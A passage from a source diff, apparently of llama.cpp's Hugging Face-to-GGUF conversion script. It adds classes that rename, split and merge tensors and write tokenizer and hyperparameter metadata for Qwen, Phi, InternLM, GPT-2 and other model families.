unused + assert kt == 2, "Current implmentation only support temporal_patch_size of 2" + return [ + (gguf.TENSOR_NAMES[gguf.MODEL_TENSOR.V_ENC_EMBD_PATCH] + ".weight" , data_torch[:, :, 0, ...]), + (gguf.TENSOR_NAMES[gguf.MODEL_TENSOR.V_ENC_EMBD_PATCH] + ".weight.1", data_torch[:, :, 1, ...]), + ] + else: + return [(self.map_tensor_name(name), data_torch)] + return [] # skip other tensors + + +@ModelBase.register("Qwen2_5OmniModel") +class Qwen25OmniModel(Qwen2VLVisionModel): + has_vision_encoder = True + has_audio_encoder = True + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + assert self.hparams_audio is not None + self.hparams_audio["hidden_size"] = self.hparams_audio["d_model"] + self.hparams_audio["intermediate_size"] = self.hparams_audio["encoder_ffn_dim"] + self.hparams_audio["num_attention_heads"] = self.hparams_audio["encoder_attention_heads"] + + def set_gguf_parameters(self): + super().set_gguf_parameters() + assert self.hparams_audio is not None + self.gguf_writer.add_audio_num_mel_bins(self.hparams_audio["num_mel_bins"]) + self.gguf_writer.add_audio_attention_layernorm_eps(self.hparams_audio.get("layer_norm_eps", 1e-5)) + + def get_vision_config(self) -> dict[str, Any] | None: + return self.global_config["thinker_config"].get("vision_config") + + def get_audio_config(self) -> dict[str, Any] | None: + return self.global_config["thinker_config"].get("audio_config") + + def generate_extra_tensors(self) -> Iterable[tuple[str, Tensor]]: + # SinusoidsPositionEmbedding + assert self.hparams_audio is not None + max_timescale = 10000 + length = 1500 + channels = self.hparams_audio["hidden_size"] + log_timescale_increment = np.log(max_timescale) / (channels // 2 - 1) + inv_timescales = torch.exp(-log_timescale_increment * torch.arange(channels // 2).float()) + scaled_time = torch.arange(length)[:, np.newaxis] * inv_timescales[np.newaxis, :] + pos_embd = torch.cat([torch.sin(scaled_time), torch.cos(scaled_time)], dim=1).to(dtype=torch.float32) + yield ("audio_tower.embed_positions.weight", pos_embd) + + def tensor_force_quant(self, name, new_name, bid, n_dims): + del bid, new_name, n_dims # unused + if ".conv" in name and ".weight" in name: + return gguf.GGMLQuantizationType.F16 + return False + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + if name.startswith("thinker."): + name = name.replace("thinker.", "") + + if name.startswith("audio_tower"): + # process audio tensors + if "conv1.bias" in name or "conv2.bias" in name: + # transpose conv1 and conv2 bias + data_torch = data_torch.unsqueeze(-1) + if "audio_bos_eos_token" in name: + # this tensor is left unused in transformers code + # https://github.com/huggingface/transformers/blob/6e3063422c4b1c014aa60c32b9254fd2902f0f28/src/transformers/models/qwen2_5_omni/modular_qwen2_5_omni.py#L1809 + return [] + return [(self.map_tensor_name(name), data_torch)] + + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("InternVisionModel") +class InternVisionModel(MmprojModel): + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + self.gguf_writer.add_clip_projector_type(gguf.VisionProjectorType.INTERNVL) + self.gguf_writer.add_vision_attention_layernorm_eps(hparams["layer_norm_eps"]) + # hidden_act + if hparams["hidden_act"] == "silu": + self.gguf_writer.add_vision_use_silu(True) + elif hparams["hidden_act"] == "gelu": + self.gguf_writer.add_vision_use_gelu(True) + else: + raise ValueError(f"Unsupported hidden_act: {hparams['hidden_act']}") + # downsample_ratio + downsample_ratio = self.global_config.get("downsample_ratio") + assert downsample_ratio is not None + self.gguf_writer.add_vision_projector_scale_factor(int(1.0 / downsample_ratio)) + + def tensor_force_quant(self, name, new_name, bid, n_dims): + del bid, name, n_dims # unused + if ".patch_embd." in new_name: + return gguf.GGMLQuantizationType.F16 + if ".position_embd." in new_name: + return gguf.GGMLQuantizationType.F32 + return False + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + if name.startswith("vision_model") or name.startswith("mlp"): + # process visual tensors + # correct name + if name.startswith("vision_model"): + name = "vision_tower." + name + if (".ls" in name or "position_embedding" in name) and not name.endswith(".weight"): + name += ".weight" + # split QKV tensors if needed + if ".qkv." in name: + if data_torch.ndim == 2: # weight + c3, _ = data_torch.shape + else: # bias + c3 = data_torch.shape[0] + assert c3 % 3 == 0 + c = c3 // 3 + wq = data_torch[:c] + wk = data_torch[c: c * 2] + wv = data_torch[c * 2:] + return [ + (self.map_tensor_name(name.replace("attn.qkv", "self_attn.q_proj")), wq), + (self.map_tensor_name(name.replace("attn.qkv", "self_attn.k_proj")), wk), + (self.map_tensor_name(name.replace("attn.qkv", "self_attn.v_proj")), wv), + ] + return [(self.map_tensor_name(name), data_torch)] + return [] # skip other tensors + + +@ModelBase.register("WavTokenizerDec") +class WavTokenizerDecModel(TextModel): + model_arch = gguf.MODEL_ARCH.WAVTOKENIZER_DEC + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + if \ + name.endswith("codebook.cluster_size") or \ + name.endswith("codebook.embed_avg") or \ + name.endswith("codebook.inited"): + logger.debug(f"Skipping {name!r}") + return [] + + logger.info(f"{self.map_tensor_name(name)} -> {data_torch.shape}") + + return [(self.map_tensor_name(name), data_torch)] + + def set_vocab(self): + self._set_vocab_none() + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_vocab_size (self.hparams["vocab_size"]) + self.gguf_writer.add_features_length (self.hparams["n_embd_features"]) + self.gguf_writer.add_feed_forward_length(self.hparams["n_ff"]) + self.gguf_writer.add_group_norm_eps (self.hparams["group_norm_epsilon"]) + self.gguf_writer.add_group_norm_groups (self.hparams["group_norm_groups"]) + + self.gguf_writer.add_posnet_embedding_length(self.hparams["posnet"]["n_embd"]) + self.gguf_writer.add_posnet_block_count (self.hparams["posnet"]["n_layer"]) + + self.gguf_writer.add_convnext_embedding_length(self.hparams["convnext"]["n_embd"]) + self.gguf_writer.add_convnext_block_count (self.hparams["convnext"]["n_layer"]) + + self.gguf_writer.add_causal_attention(False) + + +@ModelBase.register("Qwen2MoeForCausalLM") +class Qwen2MoeModel(TextModel): + model_arch = gguf.MODEL_ARCH.QWEN2MOE + + def set_gguf_parameters(self): + super().set_gguf_parameters() + if (n_experts := self.hparams.get("num_experts")) is not None: + self.gguf_writer.add_expert_count(n_experts) + if (moe_intermediate_size := self.hparams.get("moe_intermediate_size")) is not None: + self.gguf_writer.add_expert_feed_forward_length(moe_intermediate_size) + logger.info(f"gguf: expert feed forward length = {moe_intermediate_size}") + if (shared_expert_intermediate_size := self.hparams.get('shared_expert_intermediate_size')) is not None: + self.gguf_writer.add_expert_shared_feed_forward_length(shared_expert_intermediate_size) + logger.info(f"gguf: expert shared feed forward length = {shared_expert_intermediate_size}") + # YaRN is not enabled by default + # To enable it, please refer to this guide: https://huggingface.co/Qwen/Qwen3-30B-A3B#processing-long-texts + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "yarn" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.YARN) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + self.gguf_writer.add_rope_scaling_orig_ctx_len(rope_scaling["original_max_position_embeddings"]) + + _experts: list[dict[str, Tensor]] | None = None + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # process the experts separately + if name.find("experts") != -1: + n_experts = self.hparams["num_experts"] + assert bid is not None + + if self._experts is None: + self._experts = [{} for _ in range(self.block_count)] + + self._experts[bid][name] = data_torch + + if len(self._experts[bid]) >= n_experts * 3: + tensors: list[tuple[str, Tensor]] = [] + + # merge the experts into a single 3d tensor + for w_name in ["down_proj", "gate_proj", "up_proj"]: + datas: list[Tensor] = [] + + for xid in range(n_experts): + ename = f"model.layers.{bid}.mlp.experts.{xid}.{w_name}.weight" + datas.append(self._experts[bid][ename]) + del self._experts[bid][ename] + + data_torch = torch.stack(datas, dim=0) + + merged_name = f"model.layers.{bid}.mlp.experts.{w_name}.weight" + + new_name = self.map_tensor_name(merged_name) + + tensors.append((new_name, data_torch)) + return tensors + else: + return [] + + return [(self.map_tensor_name(name), data_torch)] + + def prepare_tensors(self): + super().prepare_tensors() + + if self._experts is not None: + # flatten `list[dict[str, Tensor]]` into `list[str]` + experts = [k for d in self._experts for k in d.keys()] + if len(experts) > 0: + raise ValueError(f"Unprocessed experts: {experts}") + + +@ModelBase.register("Qwen3ForCausalLM") +class Qwen3Model(Qwen2Model): + model_arch = gguf.MODEL_ARCH.QWEN3 + + +@ModelBase.register("Qwen3MoeForCausalLM") +class Qwen3MoeModel(Qwen2MoeModel): + model_arch = gguf.MODEL_ARCH.QWEN3MOE + + +@ModelBase.register("GPT2LMHeadModel") +class GPT2Model(TextModel): + model_arch = gguf.MODEL_ARCH.GPT2 + + def set_gguf_parameters(self): + self.gguf_writer.add_block_count(self.hparams["n_layer"]) + self.gguf_writer.add_context_length(self.hparams["n_ctx"]) + self.gguf_writer.add_embedding_length(self.hparams["n_embd"]) + self.gguf_writer.add_feed_forward_length(4 * self.hparams["n_embd"]) + self.gguf_writer.add_head_count(self.hparams["n_head"]) + self.gguf_writer.add_layer_norm_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_file_type(self.ftype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + tensors: list[tuple[str, Tensor]] = [] + + # we don't need these + if name.endswith((".attn.bias", ".attn.masked_bias")): + return tensors + + if name.endswith((".c_attn.weight", ".c_proj.weight", ".c_fc.weight", ".c_proj.weight")): + data_torch = data_torch.transpose(1, 0) + + new_name = self.map_tensor_name(name) + + tensors.append((new_name, data_torch)) + + return tensors + + +@ModelBase.register("PhiForCausalLM") +class Phi2Model(TextModel): + model_arch = gguf.MODEL_ARCH.PHI2 + + def set_gguf_parameters(self): + block_count = self.find_hparam(["num_hidden_layers", "n_layer"]) + + rot_pct = self.find_hparam(["partial_rotary_factor"]) + n_embd = self.find_hparam(["hidden_size", "n_embd"]) + n_head = self.find_hparam(["num_attention_heads", "n_head"]) + + self.gguf_writer.add_context_length(self.find_hparam(["n_positions", "max_position_embeddings"])) + + self.gguf_writer.add_embedding_length(n_embd) + self.gguf_writer.add_feed_forward_length(4 * n_embd) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_head_count(n_head) + self.gguf_writer.add_head_count_kv(n_head) + self.gguf_writer.add_layer_norm_eps(self.find_hparam(["layer_norm_epsilon", "layer_norm_eps"])) + self.gguf_writer.add_rope_dimension_count(int(rot_pct * n_embd) // n_head) + self.gguf_writer.add_file_type(self.ftype) + self.gguf_writer.add_add_bos_token(False) + + +@ModelBase.register("Phi3ForCausalLM") +class Phi3MiniModel(TextModel): + model_arch = gguf.MODEL_ARCH.PHI3 + + def set_vocab(self): + # Phi-4 model uses GPT2Tokenizer + tokenizer_config_file = self.dir_model / 'tokenizer_config.json' + if tokenizer_config_file.is_file(): + with open(tokenizer_config_file, "r", encoding="utf-8") as f: + tokenizer_config_json = json.load(f) + tokenizer_class = tokenizer_config_json['tokenizer_class'] + if tokenizer_class == 'GPT2Tokenizer': + return self._set_vocab_gpt2() + + from sentencepiece import SentencePieceProcessor + + tokenizer_path = self.dir_model / 'tokenizer.model' + + if not tokenizer_path.is_file(): + raise ValueError(f'Error: Missing {tokenizer_path}') + + tokenizer = SentencePieceProcessor() + tokenizer.LoadFromFile(str(tokenizer_path)) + + vocab_size = self.hparams.get('vocab_size', tokenizer.vocab_size()) + + tokens: list[bytes] = [f"[PAD{i}]".encode("utf-8") for i in range(vocab_size)] + scores: list[float] = [-10000.0] * vocab_size + toktypes: list[int] = [SentencePieceTokenTypes.UNUSED] * vocab_size + + for token_id in range(tokenizer.vocab_size()): + + piece = tokenizer.IdToPiece(token_id) + text = piece.encode("utf-8") + score = tokenizer.GetScore(token_id) + + toktype = SentencePieceTokenTypes.NORMAL + if tokenizer.IsUnknown(token_id): + toktype = SentencePieceTokenTypes.UNKNOWN + elif tokenizer.IsControl(token_id): + toktype = SentencePieceTokenTypes.CONTROL + elif tokenizer.IsUnused(token_id): + toktype = SentencePieceTokenTypes.UNUSED + elif tokenizer.IsByte(token_id): + toktype = SentencePieceTokenTypes.BYTE + + tokens[token_id] = text + scores[token_id] = score + toktypes[token_id] = toktype + + added_tokens_file = self.dir_model / 'added_tokens.json' + if added_tokens_file.is_file(): + with open(added_tokens_file, "r", encoding="utf-8") as f: + added_tokens_json = json.load(f) + + for key in added_tokens_json: + token_id = added_tokens_json[key] + if token_id >= vocab_size: + logger.debug(f'ignore token {token_id}: id is out of range, max={vocab_size - 1}') + continue + + tokens[token_id] = key.encode("utf-8") + scores[token_id] = -1000.0 + toktypes[token_id] = SentencePieceTokenTypes.USER_DEFINED + + tokenizer_config_file = self.dir_model / 'tokenizer_config.json' + if tokenizer_config_file.is_file(): + with open(tokenizer_config_file, "r", encoding="utf-8") as f: + tokenizer_config_json = json.load(f) + added_tokens_decoder = tokenizer_config_json.get("added_tokens_decoder", {}) + for token_id, foken_data in added_tokens_decoder.items(): + token_id = int(token_id) + token = foken_data["content"].encode("utf-8") + if toktypes[token_id] != SentencePieceTokenTypes.UNUSED: + if tokens[token_id] != token: + logger.warning(f'replacing token {token_id}: {tokens[token_id].decode("utf-8")!r} -> {token.decode("utf-8")!r}') + tokens[token_id] = token + scores[token_id] = -1000.0 + toktypes[token_id] = SentencePieceTokenTypes.USER_DEFINED + if foken_data.get("special"): + toktypes[token_id] = SentencePieceTokenTypes.CONTROL + + tokenizer_file = self.dir_model / 'tokenizer.json' + if tokenizer_file.is_file(): + with open(tokenizer_file, "r", encoding="utf-8") as f: + tokenizer_json = json.load(f) + added_tokens = tokenizer_json.get("added_tokens", []) + for foken_data in added_tokens: + token_id = int(foken_data["id"]) + token = foken_data["content"].encode("utf-8") + if toktypes[token_id] != SentencePieceTokenTypes.UNUSED: + if tokens[token_id] != token: + logger.warning(f'replacing token {token_id}: {tokens[token_id].decode("utf-8")!r} -> {token.decode("utf-8")!r}') + tokens[token_id] = token + scores[token_id] = -1000.0 + toktypes[token_id] = SentencePieceTokenTypes.USER_DEFINED + if foken_data.get("special"): + toktypes[token_id] = SentencePieceTokenTypes.CONTROL + + self.gguf_writer.add_tokenizer_model("llama") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + block_count = self.find_hparam(["num_hidden_layers", "n_layer"]) + + n_embd = self.find_hparam(["hidden_size", "n_embd"]) + n_head = self.find_hparam(["num_attention_heads", "n_head"]) + n_head_kv = self.find_hparam(["num_key_value_heads", "n_head_kv"]) + rms_eps = self.find_hparam(["rms_norm_eps"]) + max_pos_embds = self.find_hparam(["n_positions", "max_position_embeddings"]) + orig_max_pos_embds = self.find_hparam(["original_max_position_embeddings"]) + rot_pct = self.hparams.get("partial_rotary_factor", 1.0) + rope_dims = int(rot_pct * n_embd) // n_head + + self.gguf_writer.add_context_length(max_pos_embds) + self.gguf_writer.add_rope_scaling_orig_ctx_len(orig_max_pos_embds) + self.gguf_writer.add_embedding_length(n_embd) + self.gguf_writer.add_feed_forward_length(self.find_hparam(["intermediate_size"])) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_head_count(n_head) + self.gguf_writer.add_head_count_kv(n_head_kv) + self.gguf_writer.add_layer_norm_rms_eps(rms_eps) + self.gguf_writer.add_rope_dimension_count(rope_dims) + self.gguf_writer.add_rope_freq_base(self.find_hparam(["rope_theta"])) + self.gguf_writer.add_file_type(self.ftype) + sliding_window = self.hparams.get("sliding_window") + # use zero value of sliding_window to distinguish Phi-4 from other PHI3 models + if sliding_window is None: + sliding_window = 0 + self.gguf_writer.add_sliding_window(sliding_window) + + def generate_extra_tensors(self) -> Iterable[tuple[str, Tensor]]: + n_embd = self.find_hparam(["hidden_size", "n_embd"]) + n_head = self.find_hparam(["num_attention_heads", "n_head"]) + max_pos_embds = self.find_hparam(["n_positions", "max_position_embeddings"]) + orig_max_pos_embds = self.find_hparam(["original_max_position_embeddings"]) + rot_pct = self.hparams.get("partial_rotary_factor", 1.0) + rope_dims = int(rot_pct * n_embd) // n_head + + # write rope scaling for long context (128k) model + rope_scaling = self.find_hparam(['rope_scaling'], True) + if rope_scaling is None: + return + + scale = max_pos_embds / orig_max_pos_embds + + rope_scaling_type = rope_scaling.get('rope_type', rope_scaling.get('type', '')).lower() + if len(rope_scaling_type) == 0: + raise KeyError('Missing the required key rope_scaling.type') + + if rope_scaling_type == 'su' or rope_scaling_type == 'longrope': + attn_factor = math.sqrt(1 + math.log(scale) / math.log(orig_max_pos_embds)) if scale > 1.0 else 1.0 + elif rope_scaling_type == 'yarn': + attn_factor = 0.1 * math.log(scale) + 1.0 if scale > 1.0 else 1.0 + else: + raise NotImplementedError(f'The rope scaling type {rope_scaling_type} is not supported yet') + + self.gguf_writer.add_rope_scaling_attn_factors(attn_factor) + + long_factors = rope_scaling.get('long_factor', None) + short_factors = rope_scaling.get('short_factor', None) + + if long_factors is None or short_factors is None: + raise KeyError('Missing the required key rope_scaling.long_factor or rope_scaling_short_factor') + + if len(long_factors) != len(short_factors) or len(long_factors) != rope_dims / 2: + raise ValueError(f'The length of rope long and short factors must be {rope_dims / 2}. long_factors = {len(long_factors)}, short_factors = {len(short_factors)}.') + + yield (self.format_tensor_name(gguf.MODEL_TENSOR.ROPE_FACTORS_LONG), torch.tensor(long_factors, dtype=torch.float32)) + yield (self.format_tensor_name(gguf.MODEL_TENSOR.ROPE_FACTORS_SHORT), torch.tensor(short_factors, dtype=torch.float32)) + + +@ModelBase.register("PhiMoEForCausalLM") +class PhiMoeModel(Phi3MiniModel): + model_arch = gguf.MODEL_ARCH.PHIMOE + + _experts: list[dict[str, Tensor]] | None = None + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_expert_used_count(self.hparams["num_experts_per_tok"]) + self.gguf_writer.add_expert_count(self.hparams["num_local_experts"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # process the experts separately + if name.find("block_sparse_moe.experts") != -1: + n_experts = self.hparams["num_local_experts"] + assert bid is not None + + if self._experts is None: + self._experts = [{} for _ in range(self.block_count)] + + self._experts[bid][name] = data_torch + + if len(self._experts[bid]) >= n_experts * 3: + tensors: list[tuple[str, Tensor]] = [] + + # merge the experts into a single 3d tensor + for w_name in ["w1", "w2", "w3"]: + datas: list[Tensor] = [] + + for xid in range(n_experts): + ename = f"model.layers.{bid}.block_sparse_moe.experts.{xid}.{w_name}.weight" + datas.append(self._experts[bid][ename]) + del self._experts[bid][ename] + + data_torch = torch.stack(datas, dim=0) + + merged_name = f"model.layers.{bid}.block_sparse_moe.experts.{w_name}.weight" + + new_name = self.map_tensor_name(merged_name) + + tensors.append((new_name, data_torch)) + return tensors + else: + return [] + + return [(self.map_tensor_name(name), data_torch)] + + def prepare_tensors(self): + super().prepare_tensors() + + if self._experts is not None: + # flatten `list[dict[str, Tensor]]` into `list[str]` + experts = [k for d in self._experts for k in d.keys()] + if len(experts) > 0: + raise ValueError(f"Unprocessed experts: {experts}") + + +@ModelBase.register("PlamoForCausalLM") +class PlamoModel(TextModel): + model_arch = gguf.MODEL_ARCH.PLAMO + + def set_vocab(self): + self._set_vocab_sentencepiece() + + def set_gguf_parameters(self): + hparams = self.hparams + block_count = hparams["num_hidden_layers"] + + self.gguf_writer.add_context_length(4096) # not in config.json + self.gguf_writer.add_embedding_length(hparams["hidden_size"]) + self.gguf_writer.add_feed_forward_length(hparams["intermediate_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_head_count(hparams["num_attention_heads"]) + self.gguf_writer.add_head_count_kv(5) # hparams["num_key_value_heads"]) is wrong + self.gguf_writer.add_layer_norm_rms_eps(hparams["rms_norm_eps"]) + self.gguf_writer.add_file_type(self.ftype) + + def shuffle_attn_q_weight(self, data_torch): + assert data_torch.size() == (5120, 5120) + data_torch = data_torch.reshape(8, 5, 128, 5120) + data_torch = torch.permute(data_torch, (1, 0, 2, 3)) + data_torch = torch.reshape(data_torch, (5120, 5120)) + return data_torch + + def shuffle_attn_output_weight(self, data_torch): + assert data_torch.size() == (5120, 5120) + data_torch = data_torch.reshape(5120, 8, 5, 128) + data_torch = torch.permute(data_torch, (0, 2, 1, 3)) + data_torch = torch.reshape(data_torch, (5120, 5120)) + return data_torch + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + new_name = self.map_tensor_name(name) + + # shuffle for broadcasting of gqa in ggml_mul_mat + if new_name.endswith("attn_q.weight"): + data_torch = self.shuffle_attn_q_weight(data_torch) + elif new_name.endswith("attn_output.weight"): + data_torch = self.shuffle_attn_output_weight(data_torch) + + return [(new_name, data_torch)] + + +@ModelBase.register("CodeShellForCausalLM") +class CodeShellModel(TextModel): + model_arch = gguf.MODEL_ARCH.CODESHELL + + def set_gguf_parameters(self): + block_count = self.hparams["n_layer"] + + self.gguf_writer.add_context_length(self.hparams["n_positions"]) + self.gguf_writer.add_embedding_length(self.hparams["n_embd"]) + self.gguf_writer.add_feed_forward_length(4 * self.hparams["n_embd"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_head_count(self.hparams["n_head"]) + self.gguf_writer.add_head_count_kv(self.hparams["num_query_groups"]) + self.gguf_writer.add_layer_norm_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_file_type(self.ftype) + self.gguf_writer.add_rope_freq_base(10000.0) + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(1.0) + + _has_tok_embd = False + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + output_name = self.format_tensor_name(gguf.MODEL_TENSOR.OUTPUT) + tok_embd_name = self.format_tensor_name(gguf.MODEL_TENSOR.TOKEN_EMBD) + + new_name = self.map_tensor_name(name) + + # assuming token_embd.weight is seen before output.weight + if not self._has_tok_embd and new_name == self.format_tensor_name(gguf.MODEL_TENSOR.OUTPUT): + # even though the tensor file(s) does not contain the word embeddings they are still in the weight map + if self.tensor_names and "transformer.wte.weight" in self.tensor_names: + logger.debug(f"{tok_embd_name} not found before {output_name}, assuming they are tied") + self.tensor_names.remove("transformer.wte.weight") + elif new_name == tok_embd_name: + self._has_tok_embd = True + + return [(new_name, data_torch)] + + +@ModelBase.register("InternLM2ForCausalLM") +class InternLM2Model(TextModel): + model_arch = gguf.MODEL_ARCH.INTERNLM2 + + def set_vocab(self): + # (TODO): Is there a better way? + # Copy from _set_vocab_sentencepiece, The only difference is that we will treat the character + # \x00 specially and convert it into an emoji character to prevent it from being mistakenly + # recognized as an empty string in C++. + from sentencepiece import SentencePieceProcessor + from sentencepiece import sentencepiece_model_pb2 as model + + tokenizer_path = self.dir_model / 'tokenizer.model' + + tokens: list[bytes] = [] + scores: list[float] = [] + toktypes: list[int] = [] + + if not tokenizer_path.is_file(): + logger.error(f'Error: Missing {tokenizer_path}') + sys.exit(1) + + sentencepiece_model = model.ModelProto() # pyright: ignore[reportAttributeAccessIssue] + sentencepiece_model.ParseFromString(open(tokenizer_path, "rb").read()) + add_prefix = sentencepiece_model.normalizer_spec.add_dummy_prefix + + tokenizer = SentencePieceProcessor() + tokenizer.LoadFromFile(str(tokenizer_path)) + + vocab_size = self.hparams.get('vocab_size', tokenizer.vocab_size()) + + for token_id in range(vocab_size): + piece = tokenizer.IdToPiece(token_id) + text = piece.encode("utf-8") + score = tokenizer.GetScore(token_id) + if text == b"\x00": + # (TODO): fixme + # Hack here and replace the \x00 characters. + logger.warning(f"InternLM2 convert token '{text}' to '🐉'!") + text = "🐉".encode("utf-8") + + toktype = SentencePieceTokenTypes.NORMAL + if tokenizer.IsUnknown(token_id): + toktype = SentencePieceTokenTypes.UNKNOWN + elif tokenizer.IsControl(token_id): + toktype = SentencePieceTokenTypes.CONTROL + elif tokenizer.IsUnused(token_id): + toktype = SentencePieceTokenTypes.UNUSED + elif tokenizer.IsByte(token_id): + toktype = SentencePieceTokenTypes.BYTE + # take care of ununsed raw token + if piece.startswith('[UNUSED'): + toktype = SentencePieceTokenTypes.UNUSED + + tokens.append(text) + scores.append(score) + toktypes.append(toktype) + + added_tokens_file = self.dir_model / 'added_tokens.json' + if added_tokens_file.is_file(): + with open(added_tokens_file, "r", encoding="utf-8") as f: + added_tokens_json = json.load(f) + + for key in added_tokens_json: + tokens.append(key.encode("utf-8")) + scores.append(-1000.0) + toktypes.append(SentencePieceTokenTypes.USER_DEFINED) + + chat_eos_token = '<|im_end|>' + chat_eos_token_id = None + + tokenizer_config_file = self.dir_model / 'tokenizer_config.json' + if tokenizer_config_file.is_file(): + with open(tokenizer_config_file, "r", encoding="utf-8") as f: + tokenizer_config_json = json.load(f) + added_tokens_decoder = tokenizer_config_json.get("added_tokens_decoder", {}) + for token_id, foken_data in added_tokens_decoder.items(): + token_id = int(token_id) + token = foken_data["content"] + if token == chat_eos_token: + chat_eos_token_id = token_id + token = token.encode("utf-8") + if toktypes[token_id] != SentencePieceTokenTypes.UNUSED: + if tokens[token_id] != token: + logger.warning(f'replacing token {token_id}: {tokens[token_id].decode("utf-8")!r} -> {token.decode("utf-8")!r}') + tokens[token_id] = token + scores[token_id] = -1000.0 + toktypes[token_id] = SentencePieceTokenTypes.USER_DEFINED + if foken_data.get("special"): + toktypes[token_id] = SentencePieceTokenTypes.CONTROL + + tokenizer_file = self.dir_model / 'tokenizer.json' + if tokenizer_file.is_file(): + with open(tokenizer_file, "r", encoding="utf-8") as f: + tokenizer_json = json.load(f) + added_tokens = tokenizer_json.get("added_tokens", []) + for foken_data in added_tokens: + token_id = int(foken_data["id"]) + token = foken_data["content"] + if token == chat_eos_token: + chat_eos_token_id = token_id + token = token.encode("utf-8") + if toktypes[token_id] != SentencePieceTokenTypes.UNUSED: + if tokens[token_id] != token: + logger.warning(f'replacing token {token_id}: {tokens[token_id].decode("utf-8")!r} -> {token.decode("utf-8")!r}') + tokens[token_id] = token + scores[token_id] = -1000.0 + toktypes[token_id] = SentencePieceTokenTypes.USER_DEFINED + if foken_data.get("special"): + toktypes[token_id] = SentencePieceTokenTypes.CONTROL + + self.gguf_writer.add_tokenizer_model("llama") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + self.gguf_writer.add_add_space_prefix(add_prefix) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + old_eos = special_vocab.special_token_ids["eos"] + if chat_eos_token_id is not None: + # For the chat model, we replace the eos with '<|im_end|>'. + # TODO: this is a hack, should be fixed + # https://github.com/ggml-org/llama.cpp/pull/6745#issuecomment-2067687048 + special_vocab.special_token_ids["eos"] = chat_eos_token_id + logger.warning(f"Replace eos:{old_eos} with a special token:{chat_eos_token_id}" + " in chat mode so that the conversation can end normally.") + + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + self.gguf_writer.add_context_length(self.hparams["max_position_embeddings"]) + self.gguf_writer.add_block_count(self.hparams["num_hidden_layers"]) + self.gguf_writer.add_embedding_length(self.hparams["hidden_size"]) + self.gguf_writer.add_feed_forward_length(self.hparams["intermediate_size"]) + self.gguf_writer.add_rope_freq_base(self.hparams["rope_theta"]) + self.gguf_writer.add_head_count(self.hparams["num_attention_heads"]) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["rms_norm_eps"]) + self.gguf_writer.add_head_count_kv(self.hparams["num_key_value_heads"]) + self.gguf_writer.add_file_type(self.ftype) + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "linear" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + num_heads = self.hparams["num_attention_heads"] + num_kv_heads = self.hparams["num_key_value_heads"] + n_embd = self.hparams["hidden_size"] + q_per_kv = num_heads // num_kv_heads + head_dim = n_embd // num_heads + num_groups = num_heads // q_per_kv + + name = name.replace("language_model.", "") # InternVL + if name.startswith("mlp") or name.startswith("vision_model"): + # skip visual tensors + return [] + + if bid is not None and f"model.layers.{bid}.attention.wqkv" in name: + qkv = data_torch + + qkv = qkv.reshape((num_groups, q_per_kv + 2, head_dim, n_embd)) + q, k, v = qkv[:, : q_per_kv], qkv[:, -2], qkv[:, -1] + + # The model weights of q and k equire additional reshape. + q = LlamaModel.permute(q.reshape((-1, q.shape[-1])), num_heads, num_heads) + k = LlamaModel.permute(k.reshape((-1, k.shape[-1])), num_heads, num_kv_heads) + v = v.reshape((-1, v.shape[-1])) + + return [ + (self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_Q, bid), q), + (self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_K, bid), k), + (self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_V, bid), v), + ] + else: + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("InternLM3ForCausalLM") +class InternLM3Model(TextModel): + model_arch = gguf.MODEL_ARCH.LLAMA + + def set_vocab(self): + tokens, scores, toktypes = 